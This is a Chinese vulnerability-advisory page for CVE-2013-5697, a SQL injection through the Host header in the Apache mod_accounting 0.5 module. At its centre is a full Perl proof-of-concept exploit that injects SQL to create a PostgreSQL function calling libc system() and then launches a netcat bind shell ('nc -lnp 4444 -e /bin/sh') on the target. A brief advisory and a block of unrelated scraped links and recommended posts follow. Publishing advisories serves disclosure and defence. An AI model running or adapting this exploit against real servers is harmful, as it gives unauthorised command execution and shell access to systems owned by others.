Apache 'mod_accounting'模块SQL注入漏洞(CVE-2013-5697)
漏洞版本:
mod_accounting 0.5
漏洞描述:
BUGTRAQ ID: 62677
CVE ID: CVE-2013-5697 mod_accounting是Apache 1.3.x上的流量计费模块,该模块使用数据记录流量,支持的数据库类型包括MySQL及PostgreSQL。 mod_accounting 0.5模块在Host报文头中存在SQL注入漏洞,攻击者可利用此漏洞破坏应用,执行未授权数据库操作。该漏洞源于用户提供的HTTP报文头未经过滤即用在查询内。该模块使用了简单的字符串串联来修改已定义查询内的占位符,然后再发送到数据库内。该代码位于mod_accounting.c内。
http://packetstormsecurity.com/files/123408/mod_accounting-0.5-Blind-SQL-Injection.html
http://sebug.net/appdir/Apache
*>
测试方法:
- #!/usr/bin/perl
- # PoC of blind SQL injection in the mod_accounting/0.5 Apache module
- # Injection can occur via the Host header
- # As the injection occurs in a user defined insert statement a bit of trial
- and error is required
- # Database operations occurs asyncronous to page response so timing attacks
- wont work
- # This one is completely blind
- # DB can be mysql or postgres, this PoC only covers postgres
- # PoC executes netcat to listen on port 4444 (requires dba privileges)
- use IO::Socket::INET;
- print"#----------------------------------------------#\n";
- print"| mod_accounting/0.5 PoC exploit by \ () Wireghoul |\n";
- print"| www.justanotherhacker.com |\n";
- print"#----------Command execution via SQLi----------#\n";
- print"[*] Enumerating blind injection vectors:\n";
- my@endings=("'));",'"));',"));","');",'");',");","';",'";',";");
- # These should terminate most insert statements
- #my @endings = ( "');" );
- my $shell ='nc -lnp 4444 -e /bin/sh';
- my $cnt =0;
- my $content ="CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS
- '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT; SELECT system('$shell');";
- foreach $end (@endings){
- $cnt++;
- my $sock = IO::Socket::INET->new("$ARGV[0]:$ARGV[1]")ordie"Unable to
- connect to $ARGV[0]:$ARGV[1]: $!\n";
- my $str ="GET / HTTP/1.1\r\nHost: $ARGV[0]$cnt$end $content --
- \r\n\r\n";# from mysql.user into outfile '/tmp/pocpoc$cnt.txt'; --
- \r\n\r\n";
- print "[-]Trying $end\n";
- print $sock $str;
- #print "Sent $end\n";
- close ($sock);
- }
- print "[*]Done, remote server should have executed $shell\n";
Sebug安全建议:
临时解决方法: 该模块已经不再提供支持,可以根据需要,停止使用该模块。 厂商补丁: mod_accounting
--------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: http://sourceforge.net/projects/mod-acct/files/
Apache 'mod_accounting'模块SQL注入漏洞(CVE-2013-5697)的更多相关文章
- PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析
catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: POC http://localhost/p ...
- PHPCMS 2008 SQL注入漏洞
漏洞版本: PHPCMS 2008 漏洞描述: escape()方法无法过滤$genre变量进行二次URL编码,导致SQL注入漏洞产生. <* 参考 http://www.yunsec.net/ ...
- WordPress WP-Realty插件‘listing_id’参数SQL注入漏洞
漏洞名称: WordPress WP-Realty插件‘listing_id’参数SQL注入漏洞 CNNVD编号: CNNVD-201310-499 发布时间: 2013-10-23 更新时间: 20 ...
- WordPress NOSpam PTI插件‘comment_post_ID’参数SQL注入漏洞
漏洞名称: WordPress NOSpam PTI插件‘comment_post_ID’参数SQL注入漏洞 CNNVD编号: CNNVD-201309-388 发布时间: 2013-09-24 更新 ...
- RED_HAWK:基于PHP实现的信息收集与SQL注入漏洞扫描工具
无事早上就去逛freebuf看到一款不错的工具,打算介绍给大家 RED_HAWK:基于PHP实现的信息收集与SQL注入漏洞扫描工具 RED HAWK 最新版本:v1.0.0[2017年6月11日] 下 ...
- Vtiger CRM 几处SQL注入漏洞分析,测试工程师可借鉴
本文由云+社区发表 0x00 前言 干白盒审计有小半年了,大部分是业务上的代码,逻辑的复杂度和功能模块结构都比较简单,干久了收获也就一般,有机会接触一个成熟的产品(vtiger CRM)进行白盒审计, ...
- 手工检测SQL注入漏洞
SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,具体来说,它是利用现有应用程序将(恶意的)SQL命令注入到后台数据库引擎执 ...
- SQL 注入漏洞
首先要知道sql注入形成的原因:用户输入的数据被sql解释器执行 sql注入又分:数字型,字符型,cookie 注入,post注入,延时注入,搜索注入,base64注入 如何甄别一个模块是否有sql注 ...
- ThinkCMF X2.2.2多处SQL注入漏洞分析
1. 漏洞描述 ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架,其中X系列基于ThinkPHP 3.2.3开发,最后更新到2.2.2版本.最近刚好在渗透测试 ...
随机推荐
- ios NSAssert趣谈
Apple 官网介绍 NSAssert 的定义如下: #define NSAssert(condition, desc, ...) \ do { \ __PRAGMA_PUSH_NO_EXTRA_AR ...
- webapi之jsonp调用
定义跨域handle public class CorsHandler : DelegatingHandler { const string Origin = "Origin"; ...
- java新手笔记6 示例for
1.计算天数 /*给定一个年月日,计算是一年的第几天 (如输入:2 15 结果:第46天) */ public class Demo1 { public static void main(String ...
- 转JSONObject put,accumulate,element的区别
public Object put (Object key, Object value) 将value映射到key下.如果此JSONObject对象之前存在一个value在这个key下,当前的 ...
- Kali linux网络配置
Kali linux 安装完成后,需要对其网络进行配置.使用DHCP服务是配置网卡最简单的方法之一,但渗透测试时通常不会这样做,因为系统会被记录在DHCP服务器的数据库中. 1 动态DHCP方式 配 ...
- Python:如何得到Popen的输出?
from:http://www.cnblogs.com/bluescorpio/archive/2010/05/04/1727020.html 最近在用subprocess中的Popen做个磁盘监控小 ...
- 一个关于hightcharts的x轴刻度问题
最近做公司的一个报表系统,需要折线图,圆柱图形等来进行统计,经过最后考察,决定用当下较为流行的Highchart插件来进行实现,highchart用起来非常方便,只用对后台传过来的数据进行简单的处理后 ...
- php错误捕捉
<?php //禁止错误输出 error_reporting(0); //设置错误处理器 set_error_handler('errorHandler'); register_shutdown ...
- div+css3实现漂亮的多彩标签云,鼠标移动会有动画
div+css3实现漂亮的多彩标签云,鼠标移动会有动画 点击运行效果 <style> .dict { margin: 20px 0;clear:both ;text-align:left; ...
- yii2源码学习笔记(十)
继续了解Application. /** * Registers the errorHandler component as a PHP error handler. * 注册errorHandler ...